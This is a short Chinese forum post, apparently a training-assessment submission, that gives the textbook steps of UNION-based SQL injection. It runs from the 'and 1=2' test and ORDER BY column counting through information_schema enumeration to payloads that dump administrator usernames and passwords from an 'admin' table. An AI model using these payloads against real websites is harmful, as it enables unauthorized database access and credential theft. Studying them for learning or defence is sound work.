无名 发表于 2022-5-8 20:31:16

【Max考核】SQL注入基础语句步骤

大佬勿喷[开心][开心]
1.在url后面添加and 1=1页面显示正常添加and 1=2不正常(可注入)
2.利用order by 判断字段数量
3.判断可显字段,用union select 1,2,3,,,n(n为字段数量)(更多情况下要在union select前加 and 1=2 不然显不出来?)
4.把可显字段替换成函数,例如显示版本将一个字段替换为version(),显示数据库用database()等
5.查表名语句,例如:and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema="数据库名"
6.查字段,例如查看hack数据表中包含了哪些字段
select column_name from information_schema.columns where table_name="hack";
7.爆出段名,例如:union select 1,column_name,3,4,5 from information_schema.columns where table_name='admin'
8.最后就是爆出管理员用户名和密码,例如union select 1,username,password,4,5 from admin或者union select 1,unhex(hex(username)),unhex(hex(password)),4,5 for admin
http://cdn.u1.huluxia.com/g3/M00/53/77/wKgBOV1SoPiAYVl3AAHAKjrXCyM922.jpg
页: [1]
查看完整版本: 【Max考核】SQL注入基础语句步骤